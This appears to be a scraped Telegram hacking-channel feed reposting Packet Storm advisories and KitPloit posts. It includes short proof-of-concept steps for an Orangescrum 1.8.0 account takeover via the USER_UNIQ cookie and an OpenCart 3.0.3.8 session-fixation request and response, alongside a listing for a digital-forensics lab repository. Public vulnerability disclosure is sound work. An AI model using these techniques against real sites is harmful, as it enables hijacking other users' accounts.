Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
OpenStego Free Steganography Solution 0.8.2

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
OpenStego is a tool implemented in Java for generic steganography, with support for password-based encryption of the data. It supports plugins for various steganographic algorithms (currently, only Least Significant Bit algorithm is supported for images).

MD5 | 6b8c390a635620be33dc406cb60aee9a

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

OpenStego Free Steganography Solution 0.8.2

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 21:41

Hacking Articles Tips Tricks Videos Tutorials

3 views21:41

Hacking Articles Tips Tricks Videos Tutorials

3 views21:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Orangescrum 1.8.0 Privilege Escalation

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png
Orangescrum version 1.8.0 suffers from a privilege escalation vulnerability.

MD5 | 139af6c37d76cbc5a15aff2c6bc0fd81

Download

# Exploit Title: orangescrum 1.8.0 - Privilege escalation (Authenticated)
# Date: 07/10/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Company: https://redteam.pl
# Vendor Homepage: https://www.orangescrum.org/
# Software Link: https://www.orangescrum.org/
# Version: 1.8.0
# Tested on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Privilege escalation
# The user must be assigned to the project with the account he wants to take over
# The vulnerabilities in the application allow for:

* Taking over any account with which the project is assigned

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example

1. Go to the dashboard
2. Go to the page source view
3. Find in source "var PUSERS"
4. Copy "uniq_id" victim
5. Change cookie "USER_UNIQ" to "USER_UNIQ" victim from page source
6. After refreshing the page, you are logged in to the victim's account

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Orangescrum 1.8.0 Privilege Escalation

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 21:41

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Opencart 3.0.3.8 Session Injection

https://4.bp.blogspot.com/-f53oTn8LDZ0/WWlvMw9CK1I/AAAAAAAAIMU/jEtmPtbvTXsSkP0BJUzx6KZQIUlovIO9gCLcBGAs/s1600/h20.png
Opencart version 3.0.3.8 suffers from a session injection vulnerability.

MD5 | 2eab9852aa23a0a89593c8ca9ff38efb

Download

# Exploit Title: opencart 3.0.3.8 - Sessjion Injection
# Date: 28/11/2021
# Exploit Author: Hubert Wojciechowski
# Contact Author: snup.php@gmail.com
# Company: https://redteam.pl
# Vendor Homepage: https://www.opencart.com/
# Software Link: https://www.opencart.com/
# Version: 3.0.3.8
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

### Sessjion Fixation / injection

Session cookie "OCSESSID" is inproperly processed
Attacker can set any value cookie and server set this value 
Becouse of that sesssion injection and session fixation vulnerability

-----------------------------------------------------------------------------------------------------------------------
# POC
-----------------------------------------------------------------------------------------------------------------------

## Example

Modify cookie "OCSESSID" value:
-----------------------------------------------------------------------------------------------------------------------
Req
-----------------------------------------------------------------------------------------------------------------------

GET /opencart-3.0.3.8/index.php?route=product/category&path=20_26 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://127.0.0.1/opencart-3.0.3.8/
Cookie: language=en-gb; currency=USD; user_uniq_agent=9c7cba4c3dd1b2f7ace2dd877a58051a25561a365a6631f0; USERSUB_TYPE=0; CMP_CREATED=2021-11-28+10%3A52%3A11; COMP_UID=8b0e7877a94c648807ef19006c68edf9; DEFAULT_PAGE=mydashboard; LISTVIEW_TYPE=comfort; TASKGROUPBY=duedate; TASK_TYPE_IN_DASHBOARD=10; CURRENT_FILTER=cases; DASHBOARD_ORDER=1_1%3A%3A1%2C2%2C3%2C5%2C6%2C8%2C9; CAKEPHP=ommpvclncs2t37j8tsep486ig5; OCSESSID=zxcvzxcvzxcvzxcvzxcvzxcv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------------------------------------------------------------------------------------------------
Server set atttacker value:

Res:
-----------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK
Date: Sun, 28 Nov 2021 15:16:06 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.0.11
X-Powered-By: PHP/8.0.11
Set-Cookie: OCSESSID=zxcvzxcvzxcvzxcvzxcvzxcv; path=/
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18944
[...]

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Opencart 3.0.3.8 Session Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

3 viewsedited 21:41

Hacking Articles Tips Tricks Videos Tutorials

Digital-Forensics-Lab - Free Hands-On Digital Forensics Labs For Students And Faculty
http://www.kitploit.com/2021/11/digital-forensics-lab-free-hands-on.html

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

6 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

GitHub

digital-forensics-lab/Basic_Computer_Skills_for_Forensics/0_Number_Systems.pptx at main · frankwxu/digital-forensics-lab

Free hands-on digital forensics labs for students and faculty - frankwxu/digital-forensics-lab

8 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

GitHub

digital-forensics-lab/NIST_Data_Leakage_Case at main · frankwxu/digital-forensics-lab

Free hands-on digital forensics labs for students and faculty - frankwxu/digital-forensics-lab

8 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

GitHub

digital-forensics-lab/NIST_Data_Leakage_06_Network_Shellbag_Jumplist.pptx at main · frankwxu/digital-forensics-lab

Free hands-on digital forensics labs for students and faculty - digital-forensics-lab/NIST_Data_Leakage_06_Network_Shellbag_Jumplist.pptx at main · frankwxu/digital-forensics-lab

5 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

GitHub

digital-forensics-lab/1_tshark_forensics_Introduction.pptx at main · frankwxu/digital-forensics-lab

Free hands-on digital forensics labs for students and faculty - digital-forensics-lab/1_tshark_forensics_Introduction.pptx at main · frankwxu/digital-forensics-lab

4 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

4 viewsedited 22:01

Hacking Articles Tips Tricks Videos Tutorials

4 views22:08

Hacking Articles Tips Tricks Videos Tutorials

Photo

KitPloit - PenTest Tools!
Digital-Forensics-Lab - Free Hands-On Digital Forensics Labs For Students And Faculty

https://blogger.googleusercontent.com/img/a/AVvXsEiGH5Xx6KQ8Jd109qlTWqnttbS0LwzBhCMAWLUj8A_4lwSHrfdQM-GXsCtbnn5Ecut728xiAo0GM7Sz3DJTEkZOEkcgaOxXYdrAXPJRuNPz3dHGT8UPCg8znBqqLtNTsi1wVep8Y3LjWN21gAZJSWAebUKgjZ44AEhGIQrRAHJL5wnfcgiv2w7nDhwP5A=w200-h81 https://blogger.googleusercontent.com/img/a/AVvXsEhdi8i2IeXR7oL4cTPSV4N6B9AzcPuQ8PmPd8WXFYvrqRuT2ohxohzGS0QxO3CYtPxZDPxaue2JpblMMXaE9EwDNUEtlDQhG8OF3ZwOiiO_lA_BdMNMA56EcHgdRDLBtqKJE4esi1ODlpQBsgvCg_subZIO-MA6dOQWx13uIRN0-LuLNf4ZiWpO_D9Fxg=w200-h84 Features of Repository===================

* Hands-on Digital Forensics Labs: designed for Students and Faculty
* Linux-based lab: All labs are purely based on Kali Linux
* Lab screenshots: Each lab has PPTs with instruction screenshots
* Comprehensive: Cover many topics in digital forensics
* Free: All tools are open source
* Updated: The project is funded by DOJ and will keep updating
* Two formalized forensic intelligence in JSON files based-on case studies Table of Contents (updating)* Basic Computer Skills for Digital Forensics
* Number Systems
* PC Introduction
* Windows Command Line Tutorial
* Linux Command Line Tutorial
* Advanced Linux Command Line Tutorial

* Computer and Digital Forensics (updated on Oct. 2021)
* Introduction to Digital Forensics
* Sleuth Kit Tutorial
* USB Image Acquisition
* Evidence Search Techniques
* Data Carving
* Steganography
* Forensic Report Template

* Computer Forensics Case Study
* Investigating P2P Data Leakage (added on June 2021)
* Investigating NIST Data Leakage
* Investigating Illegal Possession of Images
* Investigating Email Harassment
* Investigating Illegal File Transferring (Memory Forensics)
* Investigating Hacking Case

* Mobile Forensics Case Study
* Investigating Android 10 (added on Oct/24/2021)
* iOS 13 (to be released...)

* Forensic Intelligence Repository
* Email forensics
* Illegal Possession of Images

* Tool Installation
* Tools Used
* Installation PPTs
* Installation Scripts (see commands as follows)

# The following commands will install all tools needed for Data Leakage Case. We will upgrade the script to add more tools for other labs soon.

wget  https://raw.githubusercontent.com/frankwxu/digital-forensics-lab/main/Help/tool-install-zsh.sh
chmod +x tool-install-zsh.sh
./tool-install-zsh.sh

Investigating P2P Data Leakage==============

The P2P data leakage case study is to help students to apply various forensic techniques to investigate intellectual property theft involving P2P. The study include

* A large and complex case involving a uTorrent client. The case is similar to NIST data leakage lab. However, it provides a clearer and more detailed timeline.
* Solid evidence with explanations. Each evidence that is associated with each activity is explained along with the timeline. We suggest using this before study NIST data leakage case study.
* 10 hands-on labs/topics in digital forensics

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 Lab Environment Setting Up 4M Lab 1 Disk Image and Partitions 5M Lab 2 Windows Registry and File Directory 15M Lab 3 MFT Timeline 6M Lab 4 USN Journal Timeline 3M Lab 5 uTorrent Log File 9M Lab 6 File Signature 8M Lab 7 Emails 9M Lab 8 Web History 11M Lab 9 Website Analysis 2M Lab 10 Timeline (Summary) 13K Investigating NIST Data Leakage==============

The case study is to investigate an image involving intellectual property theft. The study include

* A large and complex case study created by NIST. You can access the Senario, DD/Encase images. You can also find the solutions on their website.
* 14 hands-on labs/topics in digital forensics

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 Environment S[...]

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Kitploit – Maintenance in Progress

Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.

10 viewsedited 22:08

Hacking Articles Tips Tricks Videos Tutorials

KitPloit - PenTest Tools! Digital-Forensics-Lab - Free Hands-On Digital Forensics Labs For Students And Faculty https://blogger.googleusercontent.com/img/a/AVvXsEiGH5Xx6KQ8Jd109qlTWqnttbS0LwzBhCMAWLUj8A_4lwSHrfdQM-GXsCtbnn5Ecut728xiAo0GM7Sz3DJTEkZOEkcgaO…

etting Up 2M Lab 1 Windows Registry 3M Lab 2 Windows Event and XML 3M Lab 3 Web History and SQL 3M Lab 4 Email Investigation 3M Lab 5 File Change History and USN Journal 2M Lab 6 Network Evidence and shellbag 2M Lab 7 Network Drive and Cloud 5M Lab 8 Master File Table ($MFT) and Log File ($logFile) Analysis 13M Lab 9 Windows Search History 4M Lab 10 Windows Volume Shadow Copy Analysis 6M Lab 11 Recycle Bin and Anti-Forensics 3M Lab 12 Data Carving 3M Lab 13 Crack Windows Passwords 2M Investigating Illegal Possession of Images=====================

The case study is to investigate the illegal possession of Rhino images. This image was contributed by Dr. Golden G. Richard III, and was originally used in the DFRWS 2005 RODEO CHALLENGE. NIST hosts the USB DD image. A copy of the image is also available in the repository.

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 HTTP Analysis using Wireshark (text) 3M Lab 1 HTTP Analysis using Wireshark (image) 6M Lab 2 Rhion Possession Investigation 1: File recovering 9M Lab 3 Rhion Possession Investigation 2: Steganography 4M Lab 4 Rhion Possession Investigation 3: Extract Evidence from FTP Traffic 3M Lab 5 Rhion Possession Investigation 4: Extract Evidence from HTTP Traffic 5M Investigating Email Harassment=========

The case study is to investigate the harassment email sent by a student to a faculty member. The case is hosted by digitalcorpora.org. You can access the senario description and network traffic from their website. The repository only provides lab instructions.

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 Investigating Harassment Email using Wireshark 3M Lab 1 t-shark Forensic Introduction 2M Lab 2 Investigating Harassment Email using t-shark 2M Investigating Illegal File Transferring (Memory Forensics )=========

The case study is to investigate computer memory for reconstructing a timeline of illegal data transferring. The case includes a scenario of transfer sensitive files from a server to a USB.

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 Memory Forensics 11M part 1 Understand the Suspect and Accounts part 2 Understand the Suspect’s PC part 3 Network Forensics part 4 Investigate Command History part 5 Investigate Suspect’s USB part 6 Investigate Internet Explorer History part 7 Investigate File Explorer History part 8 Timeline Analysis Investigating Hacking Case=========

The case study, including a disk image provided by NIST is to investigate a hacker who intercepts internet traffic within range of Wireless Access Points.

Topics Covered
Labs Topics Covered Size of PPTs Lab 0 Hacking Case 8M Investigating Android 10The image is created by Joshua Hickman and hosted by digitalcorpora.

=========
Labs Topics Covered Size of PPTs Lab 0 Intro Pixel 3 3M Lab 1 Pixel 3 Image 2M Lab 2 Pixel 3 Device 4M Lab 3 Pixel 3 System Setting 5M Lab 4 Overview: App Life Cycle 11M Lab 5.1.1 AOSP App Investigations: Messaging 4M Lab 5.1.2 AOSP App Investigations: Contacts 3M Lab 5.1.3 AOSP App Investigations: Calendar 1M Lab 5.2.1 GMS App Investigations: Messaging 6M Lab 5.2.2 GMS App Investigations: Dialer 2M Lab 5.2.3 GMS App Investigations: Maps 8M Lab 5.2.4 GMS App Investigations: Photos 6M Lab 5.3.1 Third-Party App Investigations: Kik 4M Lab 5.3.2 Third-Party App Investigations: textnow 1M Lab 5.3.3 Third-Party App Investigations: whatapp 3M Lab 6 Pixel 3 Rooting 5M Tools Used========
Name version vendor Wine 6.0 https://source.winehq.org/git/wine.git/ Vinetto 0.98 https://github.com/AtesComp/Vinetto imgclip 05.12.2017 https://github.com/Arthelon/imgclip Tree 06.01.2020 https://github.com/kddeisz/tree RegRipper 3.0 https://github.com/keydet89/RegRipper3.0 Windows-Prefetch-Parser 05.01.2016 https://github.com/PoorBillionaire/Windows-Prefetch-Parser.git python-evtx 05.21.2020 https://github.com/williballenthin/python-evtx xmlstarlet 1.6.1 https://github.com/fishjam/xmlstarlet hivex 09.[...]

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - AtesComp/Vinetto: Vinetto: a thumbnail file parser. Based on the original Vinetto by Michel Roukine

Vinetto: a thumbnail file parser. Based on the original Vinetto by Michel Roukine - AtesComp/Vinetto

12 viewsedited 22:08

Hacking Articles Tips Tricks Videos Tutorials